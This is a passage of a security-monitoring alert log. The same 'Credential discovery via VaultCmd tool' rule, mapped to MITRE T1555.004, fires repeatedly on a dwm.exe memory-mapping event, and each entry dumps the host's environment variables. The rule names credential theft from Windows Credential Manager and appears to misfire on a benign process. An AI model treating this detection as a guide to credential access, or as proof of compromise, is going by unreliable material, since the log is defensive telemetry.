Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:12+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4211766 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:34.9652881 +0100 CET + Params: file_key➜ ffffa88afe25c110, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132c80000, view_size➜ 4096 + Metadata: tactic.name: Credential Access, technique.ref: https://attack.mitre.org/techniques/T1555/, rule.name: Credential discovery via VaultCmd tool, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, technique.id: T1555, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, subtechnique.id: T1555.004 + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:12+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4211766 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:34.9652881 +0100 CET + Params: file_key➜ ffffa88afe25c110, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132c80000, view_size➜ 4096 + Metadata: rule.name: Credential discovery via VaultCmd tool, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, technique.id: T1555, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, subtechnique.id: T1555.004, tactic.name: Credential Access, technique.ref: https://attack.mitre.org/techniques/T1555/ + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:12+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4211766 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:34.9652881 +0100 CET + Params: file_key➜ ffffa88afe25c110, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132c80000, view_size➜ 4096 + Metadata: technique.name: Credentials from Password Stores, subtechnique.id: T1555.004, tactic.name: Credential Access, technique.ref: https://attack.mitre.org/techniques/T1555/, rule.name: Credential discovery via VaultCmd tool, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, technique.id: T1555, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.ref: https://attack.mitre.org/tactics/TA0006/ + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:13+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4211766 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:34.9652881 +0100 CET + Params: file_key➜ ffffa88afe25c110, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132c80000, view_size➜ 4096 + Metadata: rule.name: Credential discovery via VaultCmd tool, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, technique.id: T1555, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, subtechnique.id: T1555.004, tactic.name: Credential Access, technique.ref: https://attack.mitre.org/techniques/T1555/ + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:13+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4211766 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:34.9652881 +0100 CET + Params: file_key➜ ffffa88afe25c110, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132c80000, view_size➜ 4096 + Metadata: rule.name: Credential discovery via VaultCmd tool, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, technique.id: T1555, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, subtechnique.id: T1555.004, tactic.name: Credential Access, technique.ref: https://attack.mitre.org/techniques/T1555/ + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:13+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4211766 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:34.9652881 +0100 CET + Params: file_key➜ ffffa88afe25c110, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132c80000, view_size➜ 4096 + Metadata: technique.name: Credentials from Password Stores, subtechnique.id: T1555.004, tactic.name: Credential Access, technique.ref: https://attack.mitre.org/techniques/T1555/, rule.name: Credential discovery via VaultCmd tool, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, technique.id: T1555, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.ref: https://attack.mitre.org/tactics/TA0006/ + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:13+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4211766 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:34.9652881 +0100 CET + Params: file_key➜ ffffa88afe25c110, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132c80000, view_size➜ 4096 + Metadata: rule.name: Credential discovery via VaultCmd tool, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, technique.id: T1555, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, subtechnique.id: T1555.004, tactic.name: Credential Access, technique.ref: https://attack.mitre.org/techniques/T1555/ + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:13+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4211766 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:34.9652881 +0100 CET + Params: file_key➜ ffffa88afe25c110, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132c80000, view_size➜ 4096 + Metadata: subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, subtechnique.id: T1555.004, tactic.name: Credential Access, technique.ref: https://attack.mitre.org/techniques/T1555/, rule.name: Credential discovery via VaultCmd tool, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, technique.id: T1555 + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program 